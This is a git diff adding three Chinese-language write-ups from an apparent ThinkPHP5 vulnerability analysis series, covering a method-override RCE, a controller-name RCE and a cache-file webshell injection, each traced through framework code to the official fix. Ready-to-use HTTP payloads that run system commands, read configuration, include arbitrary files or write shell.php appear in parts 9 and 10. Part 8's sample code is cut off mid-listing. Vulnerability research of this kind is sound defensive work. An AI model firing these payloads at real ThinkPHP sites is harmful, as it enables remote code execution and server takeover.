diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410.md" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410.md" new file mode 100644 index 0000000..aa88e48 --- /dev/null +++ "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410.md" @@ -0,0 +1,129 @@ +本系列文章将针对 **ThinkPHP** 的历史漏洞进行分析,今后爆出的所有 **ThinkPHP** 漏洞分析,也将更新于 [ThinkPHP-Vuln](https://github.com/Mochazz/ThinkPHP-Vuln) 项目上。本篇文章,将分析 **ThinkPHP** 中存在的 **远程代码执行** 漏洞。 + +## 漏洞概要 + +本次漏洞存在于 **ThinkPHP** 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致 **远程代码执行漏洞** 的产生。漏洞影响版本: **5.0.0<=ThinkPHP5<=5.0.23** 、**5.1.0<=ThinkPHP<=5.1.30**。不同版本 **payload** 需稍作调整(以下payload未全测试,部分来自网络): + +``` +# ThinkPHP <= 5.0.13 +POST /?s=index/index +s=whoami&_method=__construct&method=&filter[]=system + +# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug +POST / +_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al + +# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha +POST /?s=xxx HTTP/1.1 +_method=__construct&filter[]=system&method=get&get[]=ls+-al +_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls +``` + +## 漏洞环境 + +通过官网下载 **ThinkPHP 5.0.23** 完整版代码,搭建好后,发送如下数据包,即可触发 **远程代码执行漏洞** 。 + +![1](ThinkPHP5漏洞分析之代码执行10/1.png) + +## 漏洞分析 + +首先在官方发布的 **5.0.24** 版本更新说明中,发现其中提到该版本包含了一个安全更新。 + +![2](ThinkPHP5漏洞分析之代码执行10/2.png) + +我们可以查阅其 **commit** 记录,发现其改进了。接下来,我们直接跟进代码一探究竟。 + +![3](ThinkPHP5漏洞分析之代码执行10/3.png) + +这次我们不再直接跟着 **payload** 进行漏洞分析,而是通过官方的些许描述和 **github commit** 记录,来还原漏洞。从官方的修复代码中,我们可以很明显的看出 **$method** 来自可控的 **$_POST** 数组,而且在获取之后没有进行任何检查,直接把它作为 **Request** 类的方法进行调用,同时,该方法传入的参数是可控数据 **$_POST** 。也就相当于可以随意调用 **Request** 类的部分方法。 + +![4](ThinkPHP5漏洞分析之代码执行10/4.png) + +同时,我们观察到 **Request** 类的 **__construct** 方法中存在类属性覆盖的功能,这对我们之后的利用非常有利, **Request** 类的所有属性如下: + +```php +protected $get protected static $instance; +protected $post protected $method; +protected $request protected $domain; +protected $route protected $url; +protected $put; protected $baseUrl; +protected $session protected $baseFile; +protected $file protected $root; +protected $cookie protected $pathinfo; +protected $server protected $path; +protected $header protected $routeInfo +protected $mimeType protected $env; +protected $content; protected $dispatch +protected $filter; protected $module; +protected static $hook protected $controller; +protected $bind protected $action; +protected $input; protected $langset; +protected $cache; protected $param +protected $isCheckCache; +``` + +我们继续跟进程序,会发现如果框架在配置文件中开启了 **debug** 模式( `'app_debug'=> true` ),程序会调用 **Request** 类的 **param** 方法。这个方法我们需要特别关注了,因为 **Request** 类中的 `param、route、get、post、put、delete、patch、request、session、server、env、cookie、input` 方法均调用了 **filterValue** 方法,而该方法中就存在可利用的 **call_user_func** 函数。 + +![5](ThinkPHP5漏洞分析之代码执行10/5.png) + +我们跟进 **param** 方法。发现其调用 **method** 方法(上图 **第16行** )。其会调用 **server** 方法,而在 **server** 方法中把 **$this->server** 传入了 **input** 方法。这个 **$this->server** 的值,我们可以通过先前 **Request** 类的 **__construct** 方法来覆盖赋值。也就是说,可控数据作为 **$data** 传入 **input** 方法,然后 **$data** 会被 **filterValue** 方法使用 **$filter** 过滤器处理。其中 **$filter** 的值部分来自 **$this->filter** ,又是可以通过先前 **Request** 类的 **__construct** 方法来覆盖赋值。 + +![6](ThinkPHP5漏洞分析之代码执行10/6.png) + +接下来就是我们很熟悉的 **filterValue** 方法调用 **call_user_func** 处理数据的过程,代码执行也就是发生在这里。 + +![7](ThinkPHP5漏洞分析之代码执行10/7.png) + +上面我们讲的是开启框架调试模式下,触发 **远程代码执行** 漏洞,接下来我们再来看看如果没有开启框架调试模式,是否可以利用该漏洞。在 **run** 方法中,会执行一个 **exec** 方法,当该方法中的 **$dispatch['type']** 等于 **controller** 或者 **method** 时,又会调用 **Request** 类的 **param** 方法。 + +![8](ThinkPHP5漏洞分析之代码执行10/8.png) + +跟进 **Request** 类的 **param** 方法,我们发现其后面的调用过程又会和先前的分析一样了,这里不再赘述。 + +![9](ThinkPHP5漏洞分析之代码执行10/9.png) + +现在我们还要解决一个问题,就是如何让 **$dispatch['type']** 等于 **controller** 或者 **method** 。通过跟踪代码,我们发现 **$dispatch['type']** 来源于 **parseRule** 方法中的 **$result** 变量,而 **$result** 变量又与 **$route** 变量有关系。这个 **$route** 变量取决于程序中定义的路由地址方式。 + +![10](ThinkPHP5漏洞分析之代码执行10/10.png) + + **ThinkPHP5** 中支持 **5种** 路由地址方式定义: + +| 定义方式 | 定义格式 | +| ------------------------- | ------------------------------------------------------------ | +| 方式1:路由到模块/控制器 | '[模块/控制器/操作]?额外参数1=值1&额外参数2=值2...' | +| 方式2:路由到重定向地址 | '外部地址'(默认301重定向) 或者 ['外部地址','重定向代码'] | +| 方式3:路由到控制器的方法 | '@[模块/控制器/]操作' | +| 方式4:路由到类的方法 | '\完整的命名空间类::静态方法' 或者 '\完整的命名空间类@动态方法' | +| 方式5:路由到闭包函数 | 闭包函数定义(支持参数传入) | + +而在 **ThinkPHP5** 完整版中,定义了验证码类的路由地址。程序在初始化时,会通过自动类加载机制,将 **vendor** 目录下的文件加载,这样在 **GET** 方式中便多了这一条路由。我们便可以利用这一路由地址,使得 **$dispatch['type']** 等于 **method** ,从而完成 **远程代码执行** 漏洞。 + +![11](ThinkPHP5漏洞分析之代码执行10/11.png) + +所以最终的 **payload** 类似下面这样: + +```http +POST /index.php?s=captcha HTTP/1.1 + ⋮ +Content-Length: 59 + +_method=__construct&filter[]=system&method=get&get[]=ls+-al +# 或者 +_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls +``` + +## 漏洞修复 + +官方的修复方法是:对请求方法 **$method** 进行白名单校验。 + +![3](ThinkPHP5漏洞分析之代码执行10/3.png) + +## 攻击总结 + +最后,再通过一张攻击流程图来回顾整个攻击过程。 + +![12](ThinkPHP5漏洞分析之代码执行10/12.png) + +## 参考 + +[ThinkPHP 5.x RCE 漏洞分析与利用总结](https://www.cnblogs.com/iamstudy/articles/thinkphp_5_x_rce_1.html) \ No newline at end of file diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/1.png" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/1.png" new file mode 100644 index 0000000..6433bee Binary files /dev/null and "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/1.png" differ diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/10.png" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/10.png" new file mode 100644 index 0000000..579751f Binary files /dev/null and "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/10.png" differ diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/11.png" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/11.png" new file mode 100644 index 0000000..7b379dd Binary files /dev/null and "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/11.png" differ diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/12.png" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/12.png" new file mode 100644 index 0000000..aad6354 Binary files /dev/null and "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/12.png" differ diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/2.png" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/2.png" new file mode 100644 index 0000000..64f7b1d Binary files /dev/null and "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/2.png" differ diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/3.png" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/3.png" new file mode 100644 index 0000000..4c2cac9 Binary files /dev/null and "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/3.png" differ diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/4.png" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/4.png" new file mode 100644 index 0000000..5cf099b Binary files /dev/null and "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/4.png" differ diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/5.png" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/5.png" new file mode 100644 index 0000000..4c689c7 Binary files /dev/null and "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/5.png" differ diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/6.png" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/6.png" new file mode 100644 index 0000000..a299a2a Binary files /dev/null and "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/6.png" differ diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/7.png" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/7.png" new file mode 100644 index 0000000..d495af1 Binary files /dev/null and "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/7.png" differ diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/8.png" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/8.png" new file mode 100644 index 0000000..6dfddfc Binary files /dev/null and "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/8.png" differ diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/9.png" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/9.png" new file mode 100644 index 0000000..26cde85 Binary files /dev/null and "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\21410/9.png" differ diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2148.md" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2148.md" new file mode 100644 index 0000000..71b0c07 --- /dev/null +++ "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2148.md" @@ -0,0 +1,70 @@ +本系列文章将针对 **ThinkPHP** 的历史漏洞进行分析,今后爆出的所有 **ThinkPHP** 漏洞分析,也将更新于 [ThinkPHP-Vuln](https://github.com/Mochazz/ThinkPHP-Vuln) 项目上。本篇文章,将分析 **ThinkPHP** 中存在的 **远程代码执行** 漏洞。 + +## 漏洞概要 + +本次漏洞存在于 **ThinkPHP** 的缓存类中。该类会将缓存数据通过序列化的方式,直接存储在 **.php** 文件中,攻击者通过精心构造的 **payload** ,即可将 **webshell** 写入缓存文件。缓存文件的名字和目录均可预测出来,一旦缓存目录可访问或结合任意文件包含漏洞,即可触发 **远程代码执行漏洞** 。漏洞影响版本: **5.0.0<=ThinkPHP5<=5.0.10** 。 + +## 漏洞环境 + +通过以下命令获取测试环境代码: + +```bash +composer create-project --prefer-dist topthink/think=5.0.10 tpdemo +``` + +将 **composer.json** 文件的 **require** 字段设置成如下: + +```json +"require": { + "php": ">=5.4.0", + "topthink/framework": "5.0.10" +}, +``` + +然后执行 `composer update` ,并将 **application/index/controller/Index.php** 文件代码设置如下: + +```php +options['data_compress']** 变量默认情况下为 **false** ,所以数据不会经过 **gzcompress** 函数处理。虽然在序列化数据前面拼接了单行注释符 **//** ,但是我们可以通过注入换行符绕过该限制。 + +![3](ThinkPHP5漏洞分析之代码执行8/3.png) + +现在我们就来看看缓存文件的名字是如何生成的。从上一张图片 **第142行** ,我们可以看到文件名是通过调用 **getCacheKey** 方法获得的,我们跟进该方法。可以看到缓存文件的子目录和文件名均和缓存类设置的键有关(如本例中缓存类设置的键为 **name** )。程序先获得键名的 **md5** 值,然后将该 **md5** 值的前 **2** 个字符作为缓存子目录,后 **30** 字符作为缓存文件名。如果应用程序还设置了前缀 **$this->options['prefix']** ,那么缓存文件还将多一个上级目录。 + +![4](ThinkPHP5漏洞分析之代码执行8/4.png) + +至此,我们已将本次漏洞分析完毕,接下来还想说说关于该漏洞的一些细节。首先,这个漏洞要想利用成功,我们得知道缓存类所设置的键名,这样才能找到 **webshell** 路径;其次如果按照官方说明开发程序, **webshell** 最终会被写到 **runtime** 目录下,而官方推荐 **public** 作为 **web** 根目录,所以即便我们写入了 **shell** ,也无法直接访问到;最后如果程序有设置 **$this->options['prefix']** 的话,在没有源码的情况下,我们还是无法获得 **webshell** 的准确路径。 + +## 漏洞修复 + +官方的修复方法是:将数据拼接在 **php** 标签之外,并在 **php** 标签中拼接 **exit()** 函数。 + +![5](ThinkPHP5漏洞分析之代码执行8/5.png) + +## 攻击总结 + +最后,再通过一张攻击流程图来回顾整个攻击过程。 + +![6](ThinkPHP5漏洞分析之代码执行8/6.png) \ No newline at end of file diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2148/1.png" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2148/1.png" new file mode 100644 index 0000000..ef87535 Binary files /dev/null and "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2148/1.png" differ diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2148/2.png" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2148/2.png" new file mode 100644 index 0000000..b906dd0 Binary files /dev/null and "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2148/2.png" differ diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2148/3.png" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2148/3.png" new file mode 100644 index 0000000..57e7636 Binary files /dev/null and "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2148/3.png" differ diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2148/4.png" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2148/4.png" new file mode 100644 index 0000000..cd6e7c4 Binary files /dev/null and "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2148/4.png" differ diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2148/5.png" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2148/5.png" new file mode 100644 index 0000000..5234629 Binary files /dev/null and "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2148/5.png" differ diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2148/6.png" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2148/6.png" new file mode 100644 index 0000000..26dabaf Binary files /dev/null and "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2148/6.png" differ diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2149.md" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2149.md" new file mode 100644 index 0000000..366d383 --- /dev/null +++ "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2149.md" @@ -0,0 +1,296 @@ +本系列文章将针对 **ThinkPHP** 的历史漏洞进行分析,今后爆出的所有 **ThinkPHP** 漏洞分析,也将更新于 [ThinkPHP-Vuln](https://github.com/Mochazz/ThinkPHP-Vuln) 项目上。本篇文章,将分析 **ThinkPHP** 中存在的 **远程代码执行** 漏洞。 + +## 漏洞概要 + +本次漏洞存在于 **ThinkPHP** 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致 **远程代码执行漏洞** 的产生。漏洞影响版本: **5.0.7<=ThinkPHP5<=5.0.22** 、**5.1.0<=ThinkPHP<=5.1.30**。不同版本 **payload** 需稍作调整: + +**5.1.x** : + +``` +?s=index/\think\Request/input&filter[]=system&data=pwd +?s=index/\think\view\driver\Php/display&content= +?s=index/\think\template\driver\file/write&cacheFile=shell.php&content= +?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id +?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id +``` + +**5.0.x** : + +``` +?s=index/think\config/get&name=database.username # 获取配置信息 +?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件 +?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件 +?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id +``` + +## 漏洞环境 + +通过以下命令获取测试环境代码: + +```bash +composer create-project --prefer-dist topthink/think tpdemo +``` + +将 **composer.json** 文件的 **require** 字段设置成如下: + +```json +"require": { + "php": ">=5.6.0", + "topthink/framework": "5.1.30" +}, +``` + +然后执行 `composer update` 。接着访问 **http://localhost:8000/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1** 链接,即可触发 **远程代码执行漏洞** 。 + +![1](ThinkPHP5漏洞分析之代码执行9/1.png) + +## 漏洞分析 + +首先在官方发布的 **5.1.31** 版本更新说明中,发现其中提到该版本包含了一个安全更新。 + +![2](ThinkPHP5漏洞分析之代码执行9/2.png) + +官方微信 [公众号](https://mp.weixin.qq.com/s/ie9Evj1Cedw4OomgkJug5A) 中有对本次安全更新的些许描述: + +> 本次版本更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。 + +我们可以查阅其 **commit** 记录,发现其增加了对控制器名的检测。接下来,我们直接跟进代码一探究竟。 + +![3](ThinkPHP5漏洞分析之代码执行9/3.png) + +这次我们不再直接跟着 **payload** 进行漏洞分析,而是通过官方的些许描述和 **github commit** 记录,来还原漏洞。首先,默认情况下安装的 **ThinkPHP** 是没有开启强制路由选项,而且默认开启路由兼容模式。 + +![4](ThinkPHP5漏洞分析之代码执行9/4.png) + +而从官方的更新描述中可以提取出两个关键点: + +- 控制器名 +- 强制路由 + +在没有开启强制路由,说明我们可以使用路由兼容模式 **s** 参数,而框架对控制器名没有进行足够的检测,说明可能可以调用任意的控制器,那么我们可以试着利用 **http://site/?s=模块/控制器/方法** 来测试一下。在先前的 **ThinkPHP SQL注入** 分析文章中,我们都有提到所有用户参数都会经过 **Request** 类的 **input** 方法处理,该方法会调用 **filterValue** 方法,而 **filterValue** 方法中使用了 **call_user_func** ,那么我们就来尝试利用这个方法。访问如下链接: + +``` +http://localhost:8000/?s=index/\think\Request/input&filter[]=system&data=pwd +``` + +会发现可以成功执行命令。接下来,我们直接在官方修改的 **$controller** 代码段打下断点。我们可以看到控制器的名字是从 **$result** 中获取的,而 **$result** 的值来源于兼容模式下的 **pathinfo** ,即 **s** 参数。 + +![5](ThinkPHP5漏洞分析之代码执行9/5.png) + +接着程序会跳回 **App** 类的 **run** 方法,进而调用 **Dispatch** 类的 **run** 方法,该方法会调用关键函数 **exec** ,我们跟进。 + +![6](ThinkPHP5漏洞分析之代码执行9/6.png) + +在 **exec** 函数中,程序利用反射机制,调用类的方法。这里的类、方法、参数均是我们可以控制的。而且整个过程,并没有看到程序对控制器名的合法性进行检测,这也是导致 **远程代码执行漏洞** 的直接原因。 + +![7](ThinkPHP5漏洞分析之代码执行9/7.png) + +以上是针对 **ThinkPHP5.1.x** 版本的漏洞分析。如果直接拿该版本的 **payload** 去测试 **ThinkPHP5.0.x** 版本,会发现很多 **payload** 都不能成功。其原因是两个大版本已加载的类不同,导致可利用的类也不尽相同。具体如下: + +``` +ThinkPHP 5.1.x ThinkPHP 5.0.x +stdClass stdClass +Exception Exception +ErrorException ErrorException +Closure Closure +Generator Generator +DateTime DateTime +DateTimeImmutable DateTimeImmutable +DateTimeZone DateTimeZone +DateInterval DateInterval +DatePeriod DatePeriod +LibXMLError LibXMLError +DOMException DOMException +DOMStringList DOMStringList +DOMNameList DOMNameList +DOMImplementationList DOMImplementationList +DOMImplementationSource DOMImplementationSource +DOMImplementation DOMImplementation +DOMNode DOMNode +DOMNameSpaceNode DOMNameSpaceNode +DOMDocumentFragment DOMDocumentFragment +DOMDocument DOMDocument +DOMNodeList DOMNodeList +DOMNamedNodeMap DOMNamedNodeMap +DOMCharacterData DOMCharacterData +DOMAttr DOMAttr +DOMElement DOMElement +DOMText DOMText +DOMComment DOMComment +DOMTypeinfo DOMTypeinfo +DOMUserDataHandler DOMUserDataHandler +DOMDomError DOMDomError +DOMErrorHandler DOMErrorHandler +DOMLocator DOMLocator +DOMConfiguration DOMConfiguration +DOMCdataSection DOMCdataSection +DOMDocumentType DOMDocumentType +DOMNotation DOMNotation +DOMEntity DOMEntity +DOMEntityReference DOMEntityReference +DOMProcessingInstruction DOMProcessingInstruction +DOMStringExtend DOMStringExtend +DOMXPath DOMXPath +finfo finfo +LogicException LogicException +BadFunctionCallException BadFunctionCallException +BadMethodCallException BadMethodCallException +DomainException DomainException +InvalidArgumentException InvalidArgumentException +LengthException LengthException +OutOfRangeException OutOfRangeException +RuntimeException RuntimeException +OutOfBoundsException OutOfBoundsException +OverflowException OverflowException +RangeException RangeException +UnderflowException UnderflowException +UnexpectedValueException UnexpectedValueException +RecursiveIteratorIterator RecursiveIteratorIterator +IteratorIterator IteratorIterator +FilterIterator FilterIterator +RecursiveFilterIterator RecursiveFilterIterator +CallbackFilterIterator CallbackFilterIterator +RecursiveCallbackFilterIterator RecursiveCallbackFilterIterator +ParentIterator ParentIterator +LimitIterator LimitIterator +CachingIterator CachingIterator +RecursiveCachingIterator RecursiveCachingIterator +NoRewindIterator NoRewindIterator +AppendIterator AppendIterator +InfiniteIterator InfiniteIterator +RegexIterator RegexIterator +RecursiveRegexIterator RecursiveRegexIterator +EmptyIterator EmptyIterator +RecursiveTreeIterator RecursiveTreeIterator +ArrayObject ArrayObject +ArrayIterator ArrayIterator +RecursiveArrayIterator RecursiveArrayIterator +SplFileInfo SplFileInfo +DirectoryIterator DirectoryIterator +FilesystemIterator FilesystemIterator +RecursiveDirectoryIterator RecursiveDirectoryIterator +GlobIterator GlobIterator +SplFileObject SplFileObject +SplTempFileObject SplTempFileObject +SplDoublyLinkedList SplDoublyLinkedList +SplQueue SplQueue +SplStack SplStack +SplHeap SplHeap +SplMinHeap SplMinHeap +SplMaxHeap SplMaxHeap +SplPriorityQueue SplPriorityQueue +SplFixedArray SplFixedArray +SplObjectStorage SplObjectStorage +MultipleIterator MultipleIterator +SessionHandler SessionHandler +ReflectionException ReflectionException +Reflection Reflection +ReflectionFunctionAbstract ReflectionFunctionAbstract +ReflectionFunction ReflectionFunction +ReflectionParameter ReflectionParameter +ReflectionMethod ReflectionMethod +ReflectionClass ReflectionClass +ReflectionObject ReflectionObject +ReflectionProperty ReflectionProperty +ReflectionExtension ReflectionExtension +ReflectionZendExtension ReflectionZendExtension +__PHP_Incomplete_Class __PHP_Incomplete_Class +php_user_filter php_user_filter +Directory Directory +SimpleXMLElement SimpleXMLElement +SimpleXMLIterator SimpleXMLIterator +SoapClient SoapClient +SoapVar SoapVar +SoapServer SoapServer +SoapFault SoapFault +SoapParam SoapParam +SoapHeader SoapHeader +PharException PharException +Phar Phar +PharData PharData +PharFileInfo PharFileInfo +XMLReader XMLReader +XMLWriter XMLWriter +ZipArchive ZipArchive +PDOException PDOException +PDO PDO +PDOStatement PDOStatement +PDORow PDORow +CURLFile CURLFile +Collator Collator +NumberFormatter NumberFormatter +Normalizer Normalizer +Locale Locale +MessageFormatter MessageFormatter +IntlDateFormatter IntlDateFormatter +ResourceBundle ResourceBundle +Transliterator Transliterator +IntlTimeZone IntlTimeZone +IntlCalendar IntlCalendar +IntlGregorianCalendar IntlGregorianCalendar +Spoofchecker Spoofchecker +IntlException IntlException +IntlIterator IntlIterator +IntlBreakIterator IntlBreakIterator +IntlRuleBasedBreakIterator IntlRuleBasedBreakIterator 